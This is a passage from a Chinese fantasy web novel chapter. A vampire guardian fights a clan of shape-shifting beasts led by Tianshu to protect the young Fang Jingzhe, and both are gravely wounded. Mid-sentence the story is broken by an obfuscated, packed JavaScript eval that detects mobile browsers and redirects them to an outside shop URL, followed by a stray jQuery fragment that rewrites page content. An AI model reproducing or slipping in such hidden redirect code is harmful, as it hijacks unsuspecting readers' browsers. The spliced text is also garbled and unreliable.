独步春本意是点到为止,让这群伏祸知道他们的厉害,从而愿意臣服。对付伏祸,只能这么做才行。
他低估了伏祸的智商和实力。
眼见刀尖即将刺进天枢后颈往右一寸位置,独步春有自信这一击之后,还有时间从其他伏祸口爪之下救出方惊蛰。没想到天枢瞬间恢复人身,轻松一扭腰,躲过了这一刀,那只切割机一样的大手迎着他的刀刃挥来。独步春立即决定先去救方惊蛰,其余五只伏祸可都朝着她围过去了。
距离太近,无法用箭。惊蛰徒然握着手里的简易工具,认命的坐在那里,惊恐等待着自己像是一条鱼一样去给巨型恐龙塞牙缝。
要是带了武器多好,她也太天真了。
这边独步春没想到,天枢竟然徒手折断了他的刀,还是在他已经逃离三米之外的时候!他追上来了。独步春意识到这一点。
他以为自己足够的快,而天枢动作肯定比常人慢,没想到他竟然追上来了!
断刀,挥刀,一气呵成。刀尖顺势从下往上,在独步春背上划开一刀血口子。
独步春顿然吃痛,速度慢了不少,仍然不回头不停歇地朝着惊蛰奔去。在罗擒的獠牙距离惊蛰的脸还有不过一拳的距离之时,抱着她离开了这等危险的包围圈,迅速快逃几步,跳上围墙。
青门蜀的一花一草都是伏祸主人的责任,它们迟疑了,站在围墙下眼巴巴看着。
“追!”天枢伸手一指,五只伏祸齐齐后退,往上一跳,围墙尽毁,尘雾升腾。
不死不休。这也是伏祸的性格特色。
独步春就算被逼到了这种地步,仍然游刃有余,双手抱着方惊蛰在疯狂追捕的伏祸之间跳跃。这些巨大的动物行动迅猛,冲击力惊人,但是反应较为迟缓,个个都想立头功,见着机会便往上冲。当下被独步春引导着撞在一起,没一会功夫便七倒八歪躺在地上。
整个院子就像刚刚经历了天外陨石一样,到处是巨坑,墙壁的砖石碎裂在地,草皮狰狞,一片狼藉。
“还好吗?殿下。”独步春独立于屋檐之上。
不远处的地面上站着天枢。
虽然辛苦,但是现在胜负分明,独步春那张多做点表情就崩坏的脸上,此时分明彰显着内心的得意。他在邀功,他觉得自己做得不错,认为惊蛰也应该这么看他。
被同伴撞倒一片的伏祸接连站了起来,以天枢为中心扇形排开。方惊蛰远远便感觉到这支队伍所散发出来的杀气,独步春彻底惹怒他们了。这么多年从未经历过如此阵仗的她,内心早已揪成一团。她努力试图让自己平静,想着师兄面对这种情况会是怎样的反应。
“去里面找令爵保护。”方惊蛰的声音颤抖。独步春低头看了她一眼,显然没想到会是这样。
“打服了他们,才能让他们听话。殿下,一味逃跑不会有任何好处。”此时主动权掌握在独步春的手里,她手无缚鸡之力之力,只能听之任之。她没想到,独步春并不是百分之百的听从她的命令和意愿。他拉着惊蛰的手放在自己脖子上,刚刚手上反握着的剑此时也做出了攻击的准备。他说,“抓紧我,殿下。”
罗擒率先变身动物形态,迎着独步春冲上去。其他伏祸紧随其后,从四面包抄。
方惊蛰双手紧紧搂着独步春的脖子,虽然独步春腾出了一只手抱着她的腰的腿,但是在他快速移动和上上下下跳跃、旋转、铁器和牙齿碰撞、动物身上腥臭味的各方攻击之下,惊蛰感觉到五脏六腑都在被颠炒着,时不时产生一种快要被甩出去的力道,不知道什么时候会受伤的恐惧一直在脑子里震动。
“多久没洗澡了?这位大哥,你身上的味道真是恶臭难闻,看看,把我的小殿下熏成什么样了?”独步春的声音夹杂在□□撞击声、牙齿折断声、大理石块碎裂、房屋倒塌声、伏祸的低吼威胁声中,显得极其悦耳。
想来他是有十足的信心征服这一群伏祸的。虽然方式残酷了些,但是只要结果是好的,她能够接受独步春的专制独行。
“为什么总是冲着我的殿下呲牙?口水流的到处都是!你们伏祸再了不起,现在不还是寄人篱下,给人当看门狗,这么没尊严,不如断子绝孙!”
独步春的身体是冷的。剧烈的打斗之中,血管的流动,心脏的跳动,反而越发让这具吸血鬼的身体温度骤降。他原本一身的鱼腥味,自从打算跟着她之后,便把自己好好打理了一番,用上了昂贵的男士香水。吸血鬼的体味混合着这种植物香精,此时闻起来就像是雨雾天气里独特出众的青草味,透着一股凛冽。
她不喜欢独步春说话。
突然间,伏祸的恶臭味猛然靠近,一股热流泼在惊蛰面门,又腥又黏腻。同时,她的背上一阵刺痛。那是被伏祸的爪子划了一道。
独步春没能护住她。惊蛰的身体瞬间紧绷,更加贴紧独步春,感受到两颗心脏在一起跳动。
“殿下?”他察觉到不对劲,抽空叫了一声。
“没事。”惊蛰说。她什么忙都帮不上,至少不能拖后腿。
“就她这样?还想复仇?”天枢的声音如雷贯耳。“还是在妈妈的怀里待着吧!现在跪下来道歉,我还能放你们一马。”
惊蛰扭头,猛然睁大了眼睛看着天枢。她知道他的显赫战绩。他是伏祸家族优秀的继承者,尚未成年便能以一敌百,拿下未来王座的桂冠,之后伏祸的生存环境剧变,他带着一众同族,在人类的枪支火炮围攻之下活了下来。两百多岁的年纪,正是风华正茂之时,脸上尽是作为优秀继承者的含蓄、睿智。这位勇猛的守卫者,经历了多次生死考验,灵魂上并没有留下任何残忍、暴戾、决绝的痕迹,相反,她觉得他会可怜她这只孤独柔弱的小孩子,会放下天性中的仇恨,生出同情和慈爱之心,选择帮助她。
一个吸血鬼家族的漂亮小崽子。
绿色的眼睛,银白色毛发。这是传说中照狱神之子的特征。
约莫已经十七八岁,那双眼睛看起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17888681|212673||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来还是如同七八岁稚嫩孩童一般,想必从小到大没有经历过什么大灾大难。现在躲在别人的怀里,脸上溅了血,满眼都是惊恐。就这样的一个无知、无能的幼崽,竟然说要去复仇?!
难道他搭上全族的性命,去陪着一个小孩过家家吗?
天枢手里拿着一块木牌,挡着独步春的利剑,利用体型优势压制着独步春,一点点将独步春的嚣张气焰按在地上摩擦。天枢看起来毫不费力,而独步春已经支撑不住,双膝跪在地上,天枢一脚踩在独步春的大腿上,继续碾压。
“你很不错。柔弱的吸血鬼竟然能做到这种地步,没少吃人吧?不过,再这么下去,你浑身的骨头就要碎了。”天枢好心提醒,“你的殿下看起来很好吃,多谢你送来的食物。”
“你胆敢动我们圣子殿下一根毫毛!”独步春气势上毫不服输。
“真是圣子,怎么会流落在外,想着向家族复仇?不是太可笑了吗?你是人类的卧底吧?”天枢好心提醒方惊蛰。
身后其他伏祸拿着啃出尖刺的木棍,抬手正欲刺向独步春的两只小腿。他们也没有打算要了独步春的性命,只是对方做到这份上,手段不得不阴狠些。
方惊蛰正想跪下来求饶,只要这样做,天枢就会既往不咎。她相信会是这样。就在她想要松开独步春的脖子时,感到独步春放下了左手,搂着她的腰和膝弯,独留一只右手抵抗天枢的重压,惊蛰听见独步春的骨头崩裂的声音。他连右手也放弃了抵抗,而后身体转了个方向向着天枢靠近。突然泄去的支力点,让天枢往前俯冲一段,独步春快速伸手抓住了从头顶掉下来的剑,抓住这一瞬间的机会,反手刺进了天枢的小腹。独步春自以为找到了一个绝佳的进攻点,天枢绝对没法在这样的姿态下还手。
没想到他又猜错了。在天枢面前,他不过也是个初出茅庐的小娃娃。
一根三指粗的木刺从独步春身后刺透,穿破前胸。刚好贴着惊蛰的身体而过。
是独步春早有预料,还是天枢有意放过她?
“放心,我不会让你有事。”独步春喷出了一口血。
这一切发生的太快了。不过是眨眼的时间。方惊蛰还在晕眩的余韵中,眼前的景物刚一定格,又一股鲜血溅在脸上。
天枢说得对,她这样的迟钝,从未受过战斗训练,难以近距离的接受血腥,也搞不懂人心,怎么能复仇呢?
天枢后退一步,踹出一脚,将身负重伤的独步春踢出几米远,但是准确的将方惊蛰从他的怀里揪了出来,高高举起,眼神之中终于闪着对于美妙食物的喜悦之色。
“你不能这么对我。你的主人说过……”
天枢笑她天真,把她扔给其余五名同伴。
高空坠落,无力挣扎。
伏祸的兽牙咬中了她的肩膀。巨大的震痛之中,方惊蛰已经失去了任何大部分意识,连这痛感也觉得无可厚非,仿佛生命本该这样,从一生下来就是这样。她并非不能承受。